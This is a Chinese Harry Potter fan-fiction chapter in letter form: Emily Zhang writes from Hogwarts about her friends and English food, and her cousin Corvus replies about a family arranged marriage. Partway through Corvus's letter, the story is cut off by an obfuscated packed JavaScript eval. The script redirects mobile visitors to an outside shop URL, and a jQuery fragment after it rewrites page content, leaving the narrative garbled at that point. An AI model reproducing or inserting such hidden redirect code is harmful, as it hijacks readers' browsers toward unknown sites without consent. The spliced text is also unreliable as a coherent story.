亲爱的科里表哥：
希望你在法国一切都好。
我来霍格沃茨已经两个星期了。课程比家里的有趣得多，城堡却比我想象中更冷。
天气也很冷。
走廊很冷。
石头墙壁看起来也很冷。
我现在终于明白，为什么英国人一年四季都喜欢喝热茶。
不过，我已经交到了一些很有趣的朋友。
莉莉聪明又勇敢，我最喜欢她。
而且她的头发真的特别红。在阳光下面会发亮。我已经决定，有机会一定要画她。
她还有一个从小认识的朋友，叫西弗勒斯。
是一个嘴很毒、脾气也不算特别好的男孩子。
不过魔药很好，所以我们三个经常一起熬魔药。
你不要看到“男孩子”三个字就开始写一些奇怪的东西，我提前警告你。
还有莱姆斯。
他很温柔，也很聪明，不过实在太害羞了。
我按照你们以前说的——如果对一个人有一点好感，就可以主动去了解一下。
所以我邀请他一起去图书馆。
然后。
……
科里。
我要告诉你一个非常严重的消息。
即便这件事令人难以置信——
你全世界最可爱的表妹居然被拒绝了。
我允许你震惊一会儿。
不过也没什么，我觉得他可能真的只是害羞，而且我本来也只是想多了解他一点。
除此之外，我还认识了两个格兰芬多。
西里斯和詹姆斯。
他们简直就是两个傲慢的闯祸鬼。
尤其詹姆斯。
我第一次认识一个人，可以在那么短的时间内同时表现得如此自信和如此欠揍。
西里斯稍微好一点。
这里的课程总体很不错。
教授们也没有家里的教师那么刻板，至少不会因为我的坐姿不够端正，就让我把一句法语抄二十遍。
偶尔的论文和作业，我完成得都还不错。
你可以放心告诉舅舅，我没有到了英国以后立刻变成一个不学无术的人。
虽然我认为，他大概本来也没有这么担心。
至于英国和法国之间的文化差异，我还需要慢慢习惯。
不过不得不说——
很多事情非常符合我以前对英国人的刻板印象。
比如校袍。
黑色。
全部都是黑色。
科里，我带来的那些漂亮裙子已经快落灰了。
我甚至开始怀疑，是不是只要在这里读够七年，我就会逐渐失去对颜色的感知。
目前全校只有邓布利多校长让我觉得审美还有希望。
他的长袍上有星星，至少这个人没有向丧服投降。
还有食物，这里的食物整体还不错。
但是有一件事情，我必须告诉你。
他们吃全熟牛排，他们真的会把一块好好的牛肉煎到里面完全没有一点粉红色。
第一次看见的时候，我差点以为那块肉得罪过小精灵。
圣诞节我应该会留校。
不知道妈妈有没有跟你们说过，今年我们还是不打算回法国。
她和爸爸准备先去澳大利亚，然后爸爸还要回中国过新年。
所以今年大概还是见不到你。
说到这里……
有件事情我一直想问。
我们搬走已经快三年了，可我到现在都没有真正弄明白，爸爸和舅舅为什么突然那么坚持要我们离开法国。
以前我们明明常在一起，后来却像所有人同时决定，我们最好不要再见面一样。
我甚至怀疑，是不是我们做错了什么，或者他们觉得我们待在一起不好。
科里，我真的很想你。
快三年了。
你应该已经长高很多了吧？
不知道什么时候才能再见，希望不会等到我从霍格沃茨毕业。
如果真的要七年，我一定会生气。
最爱你的表妹，
艾米丽·张
---
艾米丽把信仔细封好，她的猫头鹰球球带着信飞出去时，她还站在窗边看了一会儿。
直到那个小小的影子彻底消失在天空里，她才转身离开。
四天以后。
早餐刚刚开始，一只姿态优雅的雪鸮便从礼堂上方俯冲下来。
它十分稳当地落在艾米丽手边，还亲昵地用脑袋蹭了蹭她的手指。
艾米丽一下就认出来了。
“你怎么也来了？”这是科沃斯的猫头鹰，为什么他没有把信给球球？
算了，她决定不纠结了，她拆开包裹。
最上面是一封很有科沃斯风格的信。
---
我最亲爱的艾米丽：
看到你的信以后，我认真思考了很久。
到底应该先去把那个拒绝你的人变成一只癞蛤蟆，还是先去英国魔法部抗议霍格沃茨对牛肉实施的非人道待遇。
最后我决定——
还是牛肉的问题更加紧急。
全熟？
艾米丽。
全熟？
他们是在用皮鞋底招待我们家最珍贵的明珠吗？
想到我完美的表妹现在每天坐在那个阴冷、潮湿、长满青苔的乱石堆里，被迫面对全熟牛排，我在晚宴上悲痛得整整少吃了一道菜。
至于你交到的朋友——
首先，我很高兴你终于交到了一个女性朋友。
莉莉听起来很好。
我支持你画她，如果画得漂亮，记得给我寄一张。
至于那个叫西弗勒斯的男孩……
英国人的嘴毒，大多数时候都只是因为他们词汇匮乏，又不会像法国人一样优雅地骂人。
至于那两个傲慢的闯祸鬼，我没有意见。
但如果他们有一天邀请你从塔楼往下跳，请拒绝。
这是你表哥唯一的请求。
然后。
艾米丽。
接下来到了整封信最重要的部分。
你竟然，被，拒，绝，了？
亲爱的，请原谅我把这句话写得这么大。
我第一次读到的时候，手里的笔差点被捏成两截。
究竟是哪个脑子里塞满燕麦粥的瞎子，居然拒绝你？
莱姆斯？
很好。
我记住这个名字了。
我的宝藏，请听好。
错的当然不可能是你，一定是这个叫莱姆斯的男孩暂时缺乏面对顶级美貌时应有的心理承受能力。
你说他害羞？
不。
我认为这已经不能被简单地称作害羞。
他是一颗土豆，一颗受到惊吓以后，只想重新钻回泥土里的害羞土豆。
请替他感谢你的宽容，也不要因为这件事情难过。
全欧洲愿意牵你手的年轻绅士，如果认真排队的话，大概可以从巴黎排到伦敦。
虽然考虑到英国的天气，排到海峡的时候可能会冻死一半。
所以我们先不谈他们。
现在说你问我的那件事。
我本来犹豫了一会儿，到底应不应该告诉你。
父亲大概会认为我应该闭嘴。
张叔叔知道以后，大概也不会感谢我。
但是——
艾米丽。
这件事情本来就和你有关。
我不喜欢所有人都知道，只有你不知道。
大人们之所以突然像做贼一样，让你们离开法国，甚至害得你那些漂亮裙子陪你一起在各种地方颠沛流离，是因为——
我们两个人的婚约。
还记得奶奶以前总说，以后要让我们结婚吗？
小时候我一直以为她只是因为我们关系好，所以喜欢这样说。
后来才知道，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17859398|211954||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
并不是。
她和我母亲确实认真考虑过，要把我们的婚约正式定下来。
在他们眼里，这是一件再完美不过的事情。
你是张家的继承人，也是莱斯特兰奇家的外孙女。
而我是这一代的莱斯特兰奇。
我们从小一起长大。
关系又好。
血统、家族、利益、魔法天赋，全部都完美符合他们喜欢的那些条件。
所以他们认为，既然如此，那为什么不干脆让我们结婚？
很合理，对吧？
至少在她们眼里是这样。
你的父亲显然不这么觉得，他不希望你从小就被写进一张别人替你决定好的联姻契约里，更不愿意让任何人把“张家的继承人”理解成“以后应该嫁给自己表哥的女孩”。
你知道张叔叔对近亲婚姻是什么态度，所以他的反应非常明确。
不。
我父亲虽然没有张叔叔那么激烈，但也不赞成。
他的原话大概是：“这两个孩子从小就已经够能折腾了，再让他们结婚，过两年是不是准备把整个法兰西掀了？”
我认为这是很严重的诽谤。
奶奶和妈妈她们却没有放弃，所以最后，你父亲和我父亲做了一个非常简单粗暴的决定。
把我们分开。
他们认为，三年、五年、七年，只要不再天天待在一起，我们总会慢慢习惯没有彼此的生活。
也许你会认识其他人。
也许我也会。
所以等我们长大以后，这件事情自然就会消失。
听起来很聪明。对吧？
但我觉得他们忘记了一件事情。
婚约是大人想出来的。
我们从小喜欢待在一起。
我陪你骑马，不是因为奶奶告诉我你是我的未婚妻。
你半夜跑来敲我的门，也不是因为哪张契约要求你这么做。
我给你留最后一块蛋糕。
你偷偷替我把被父亲没收的书拿回来。
这些事情在任何婚约成立以前就已经发生了。
所以我很讨厌他们因为不喜欢那份婚约，就好像连我们本来的关系也必须一起切掉。
这不公平。
不过，你也不要因为我的话立刻做什么。
说到这里。
既然你今年圣诞节不回来，那法国冬天的第一场雪，我大概只能自己去看了。
随信寄过去的，是一件丝绸斗篷。
穿上它把霍格沃茨那些像丧服一样的黑袍遮住一点。
至于邓布利多校长——我好像听说过他的长袍。
星星。
月亮。
很好，至少整座学校还有一个人的审美没有退化成石头。
最后。
我也很想你。
艾米丽。
真的很想。
有时候我会突然想起你说话的声音，然后才发现，我已经有一点记不清你现在应该长成什么样子了。
这件事让我非常讨厌，所以请多寄照片。
或者画。
把你看到的东西寄给我。
城堡。
朋友。
湖。
你的房间。
随便什么都可以。
这样至少我还能假装自己没有错过你这三年的生活。
那些东躲西藏的事情，在我看来本来就没有那么必要。
我当然知道父亲和张叔叔为什么担心。
我也知道奶奶和妈妈有时候非常可怕。
但我总觉得我有能力保护你。
至少可以试试。
当然，我也不能真的把你绑回法国。
首先你会生气。
其次张叔叔真的会提剑来找我。
（我开玩笑的。）
照镜子的时候，记得替我向里面那个漂亮女孩问好。
最爱你的表哥，
科沃斯